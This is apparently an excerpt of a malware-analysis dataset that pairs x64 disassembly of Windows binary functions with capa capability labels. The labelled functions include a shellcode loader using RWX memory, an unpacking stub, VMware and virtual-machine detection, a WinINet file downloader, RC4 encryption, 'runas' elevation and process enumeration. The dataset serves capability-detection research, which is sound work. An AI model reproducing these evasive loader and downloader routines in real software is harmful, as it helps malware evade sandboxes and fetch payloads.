joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002e00
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002ed3
cmp byte [rcx + 0x71], 0
je 0x140002ed3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002ecf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002e94
sub eax, 1
je 0x140002e98
cmp eax, 2
jne 0x140002ecf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003770
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002ec6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140002ecf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140002e7c
xor al, al
jmp 0x140002e7c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003770
add rsp, 0x60
pop rbx
ret

Function at 0x1400040f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004142
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004142
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004142
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004142
cmp dword [rcx + 0x84], 0xe
jbe 0x140004142
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004144
xor al, al
add rsp, 0x28
ret
Function at 0x1400018e0
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
mov rbx, rcx
test rdx, rdx
jne 0x14000190f
lea rcx, str.ERROR:_no_output_buffer_specified_n
call fcn.140001560
or eax, 0xffffffff
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rcx + 0x10]
xor r9d, r9d
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov qword [rsp + 0x50], rbp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140001976
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx + 0x10]
lea rcx, str.Couldnt_open_shellcode_containing_file__s:__08x_n
mov r8d, eax
call fcn.140001560
or eax, ebp
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbx + 0x18], eax
mov ecx, eax
cmp eax, 0xffffffff
jne 0x1400019aa
lea rcx, str.Couldnt_get_file_size_n
call fcn.140001560
mov rbp, qword [rsp + 0x50]
or eax, 0xffffffff
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
cmp dword [rbx + 4], ecx
jbe 0x1400019ce
lea rcx, str.Execution_offset_larger_than_file_size__n
call fcn.140001560
mov rbp, qword [rsp + 0x50]
or eax, 0xffffffff
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov eax, dword [rbx + 8]
mov qword [rsp + 0x60], rsi
test eax, eax
je 0x1400019e2
add eax, 0xffff0000
mov dword [rbx + 8], eax
lea edx, [rcx + 0x10000]
mov r9d, 0x40
mov ecx, dword [rbx + 8]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001a19
mov edx, dword [rbx + 0x18]
lea rcx, str.Couldnt_allocate__d_bytes_n
call fcn.140001560
or eax, 0xffffffff
jmp 0x140001a7b
mov r8d, dword [rbx + 0x18]
lea rdx, [rax + 0x10000]
lea r9, [rsp + 0x58]
mov dword [rsp + 0x58], 0
mov rcx, rbp
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001a58
lea rcx, str.Couldnt_read_file_bytes_n
call fcn.140001560
or eax, 0xffffffff
jmp 0x140001a7b
mov r8d, dword [rbx + 0x18]
mov edx, dword [rsp + 0x58]
cmp edx, r8d
je 0x140001a76
lea rcx, str.Only_read__d_of__d_bytes__n
call fcn.140001560
or eax, 0xffffffff
jmp 0x140001a7b
mov qword [rdi], rsi
xor eax, eax
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140006778
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000654c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000654c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000654c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000654c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000654c
cmp dword [rcx + 0x84], 0xe
jbe 0x14000654c
cmp dword [rcx + 0xf8], esi
je 0x14000654c
mov ecx, r14d
call fcn.140006694
mov ecx, 2
call fcn.140009fa0
nop
cmp byte [0x140021228], 0
jne 0x140006616
mov r15d, 1
mov eax, r15d
xchg dword [0x140021218], eax
test ebx, ebx
jne 0x1400065bf
mov rdi, qword [0x140020008]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140021220]
cmp rcx, rax
je 0x1400065b6
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400033d4]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140021378]
jmp 0x1400065cb
cmp ebx, r15d
jne 0x1400065d1
lea rcx, [0x140021390]
call fcn.1400091a0
nop
test ebx, ebx
jne 0x1400065e8
lea rdx, [0x1400152e0]
lea rcx, [0x1400152c0]
call fcn.140009474
lea rdx, [0x1400152f0]
lea rcx, [0x1400152e8]
call fcn.140009474
movzx eax, byte [0x140021228]
test esi, esi
cmove eax, r15d
mov byte [0x140021228], al
jmp 0x140006616
mov ecx, 2
call fcn.140009ff4
test esi, esi
jne 0x14000662d
mov ecx, r14d
call fcn.140006648
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400064dc
Function at 0x140016940
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14001694d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14001695d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140016945
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140016975
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140016962
sub eax, 3
jb 0x14001698f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400169c6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x1400169b6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400169b4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400169a3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140016902
jmp 0x14001694d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2e00
mov dl, 5
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140016a12
cmp rsi, rcx
jae 0x140016a1a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400169f9
cmp al, 0x8f
ja 0x1400169f9
cmp byte [rsi - 2], 0xf
je 0x1400169ff
sub al, 0xe8
cmp al, 1
ja 0x1400169e3
cmp rsi, rcx
jae 0x140016a1a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400169e9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140016a1a
lodsb al, byte [rsi]
jmp 0x1400169f9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x14000]
mov eax, dword [rdi]
or eax, eax
je 0x140016a77
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x16000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140016a27
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140016a71
mov qword [rbx], rax
add rbx, 8
jmp 0x140016a47
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140016ab1
cmp al, 0xef
ja 0x140016aa3
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140016a83
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140016a92
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140016b30], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140016b30
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140016b20
sub rsp, 0xffffffffffffff80
jmp 0x140001125
Function at 0x1400042b4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov r9d, 0x270
mov rbx, rcx
cmp dword [rcx], r9d
jne 0x140004307
lea r8, [rcx + 8]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x1400042cc
jmp 0x140004314
cmp dword [rcx], 0x4e0
jb 0x140004314
call fcn.140006864
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x140004670
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea rax, [rbp - 0x61]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400047c6
mov rcx, qword [rbp - 0x61]
lea rax, [rbp - 0x69]
mov qword [rsp + 0x28], rax
lea rdx, str.SystemManufacturer
lea rax, [rbp - 0x39]
mov dword [rbp - 0x69], 0x80
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400047bc
and qword [rbp - 0x59], 0
lea rdx, [rbp - 0x39]
and qword [rbp - 0x49], 0
lea rcx, [rbp - 0x59]
mov qword [rbp - 0x41], 0xf
call fcn.140006e88
lea rcx, str.VMware
call fcn.140089a50
cmp qword [rbp - 0x41], 0x10
lea rcx, [rbp - 0x59]
mov rdx, qword [rbp - 0x49]
lea r9, str.VMware
cmovae rcx, qword [rbp - 0x59]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.140002b0c
cmp rax, 0xffffffffffffffff
jne 0x1400047dd
lea rcx, str.Virtual
call fcn.140089a50
cmp qword [rbp - 0x41], 0x10
lea rcx, [rbp - 0x59]
mov rdx, qword [rbp - 0x49]
lea r9, str.Virtual
cmovae rcx, qword [rbp - 0x59]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.140002b0c
cmp rax, 0xffffffffffffffff
jne 0x1400047dd
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x1400047bc
mov rcx, qword [rbp - 0x59]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047b7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004822
call fcn.14006b4a8
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14006ba60
add rsp, 0xf0
pop rbp
ret
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x14000481e
mov rcx, qword [rbp - 0x59]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004819
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004822
call fcn.14006b4a8
mov al, 1
jmp 0x1400047c8
call fcn.14007bf34
int3
Function at 0x14000483c
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x78
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140004876
mov eax, 0x80000000
cmp qword [rsp + 0x28], rax
jae 0x140004876
mov al, 1
jmp 0x140004878
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14006ba60
add rsp, 0x78
ret

Function at 0x140004d60
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.14006ba00
sub rsp, rax
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rsp + 0x1050], rax
xor ebx, ebx
mov rbp, rdx
mov rsi, rcx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea rcx, str.ProcessKiller
xor r8d, r8d
lea edx, [rbx + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
jne 0x140004db8
xor al, al
jmp 0x140004e7c
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x140004dea
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140004db1
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140004e68
jmp 0x140004e40
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140004e5d
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004e1e
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14006ba60
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400051f4
Capabilities:
Get disk information
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov dword [rsp + 0x40], 0x80
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor ebx, ebx
test eax, eax
je 0x140005419
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], bl
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.140006e88
nop
lea rcx, [0x1400c3b4c]
call fcn.140089a50
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [0x1400c3b4c]
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
call fcn.140002b0c
mov esi, 0x1000
cmp rax, 0xffffffffffffffff
jne 0x1400053e1
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, 0x80
lea rdx, [rbp - 0x70]
lea rcx, [0x1400c3b50]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x1400053e3
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 0xf
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x48]
call fcn.140006e88
lea rcx, str.VMware
call fcn.140089a50
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, str.VMware
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
call fcn.140002b0c
cmp rax, 0xffffffffffffffff
jne 0x1400053ac
lea rcx, str.Virtual
call fcn.140089a50
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, str.Virtual
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
call fcn.140002b0c
cmp rax, 0xffffffffffffffff
jne 0x1400053ac
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400053e3
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, rsi
jb 0x1400053a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005440
call fcn.14006b4a8
jmp 0x1400053e3
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400053e1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, rsi
jb 0x1400053dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005440
call fcn.14006b4a8
mov bl, 1
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140005417
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, rsi
jb 0x140005412
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000543a
call fcn.14006b4a8
mov al, bl
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14006ba60
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.14007bf34
nop
call fcn.14007bf34
nop
int3
Function at 0x140005448
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x210
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rsp + 0x200], rax
xor r11d, r11d
mov r14, r8
mov r10d, r11d
mov ebx, r11d
mov edi, r11d
mov esi, edx
mov rbp, rcx
mov eax, ebx
mov byte [rsp + rdi], bl
cdq
inc ebx
idiv esi
movsxd rax, edx
mov cl, byte [rax + rbp]
mov byte [rsp + rdi + 0x100], cl
inc rdi
cmp ebx, 0x100
jl 0x140005483
mov rdx, r11
mov edi, 0x800000ff
mov ebx, 0xffffff00
movzx eax, byte [rsp + rdx + 0x100]
movzx r8d, byte [rsp + rdx]
add r10d, eax
add r10d, r8d
and r10d, edi
jge 0x1400054d3
dec r10d
or r10d, ebx
inc r10d
movsxd rcx, r10d
mov al, byte [rsp + rcx]
mov byte [rsp + rdx], al
inc rdx
mov byte [rsp + rcx], r8b
cmp rdx, 0x100
jl 0x1400054b2
movsxd r8, r9d
mov edx, r11d
test r9d, r9d
jle 0x140005542
lea eax, [r11 + 1]
and eax, edi
jge 0x140005505
dec eax
or eax, ebx
inc eax
movsxd r11, eax
movzx r10d, byte [rsp + r11]
add edx, r10d
and edx, edi
jge 0x14000551a
dec edx
or edx, ebx
inc edx
movsxd rcx, edx
mov al, byte [rsp + rcx]
mov byte [rsp + r11], al
mov byte [rsp + rcx], r10b
movzx ecx, byte [rsp + r11]
add rcx, r10
movzx eax, cl
mov cl, byte [rsp + rax]
xor byte [r14], cl
inc r14
sub r8, 1
jne 0x1400054f7
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.14006ba60
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x14000556c
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x90
xor edx, edx
mov dword [rsp + 0x20], 0x70
mov rbx, rcx
lea rcx, [rsp + 0x24]
lea r8d, [rdx + 0x6c]
call fcn.14006d800
and qword [rsp + 0x28], 0
lea rax, str.runas
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x50], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
setne al
add rsp, 0x90
pop rbx
ret

Function at 0x140006864
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
lea r10, [rcx + 0x9c4]
mov r9, rcx
mov eax, dword [r10]
mov r11d, 0xe3
lea r8, [r10 + 4]
mov edx, dword [r8]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x140006877
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
mov eax, dword [r10]
lea r8, [r10 + 4]
mov edx, dword [r8]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd4c]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x1400068c2
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
and dword [r9], 0
ret
Function at 0x14000849c
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rsi, rcx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400084dc
xor eax, eax
jmp 0x140008526
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x140008511
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call fcn.140089184
test eax, eax
je 0x140008517
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400084f3
jmp 0x14000851b
mov ebx, dword [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14006ba60
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400086fc
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x1388]
mov eax, 0x1480
call fcn.14006ba00
sub rsp, rax
mov rax, qword [0x140114728]
xor rax, rsp
mov qword [rbp + 0x1370], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x38], rcx
movaps xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movaps xmmword [rbp + 0x12f0], xmm0
movaps xmm1, xmmword [0x1400c3cd0]
movaps xmmword [rbp + 0x1300], xmm1
movaps xmm0, xmmword [0x1400c3ce0]
movaps xmmword [rbp + 0x1310], xmm0
movaps xmm1, xmmword [0x1400c3cf0]
movaps xmmword [rbp + 0x1320], xmm1
movaps xmm0, xmmword [0x1400c3d00]
movaps xmmword [rbp + 0x1330], xmm0
movaps xmm1, xmmword [0x1400c3d10]
movaps xmmword [rbp + 0x1340], xmm1
movaps xmm0, xmmword [0x1400c3d20]
movaps xmmword [rbp + 0x1350], xmm0
movsd xmm1, qword [0x1400c3d30]
movsd qword [rbp + 0x1360], xmm1
mov eax, dword [0x1400c3d38]
mov dword [rbp + 0x1368], eax
movzx eax, word [0x1400c3d3c]
mov word [rbp + 0x136c], ax
call fcn.14001292c
mov edx, eax
or dword [rbp + 0x12e4], 0xffffffff
mov dword [rsp + 0x64], eax
mov ecx, 1
mov r8d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x64], edx
inc rcx
cmp rcx, r8
jb 0x1400087e5
mov dword [rsp + 0x60], r8d
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], si
test rbx, rbx
je 0x1400088a1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x20
or dword [rsp + 0x30], 0xffffffff
mov edx, 0x3e
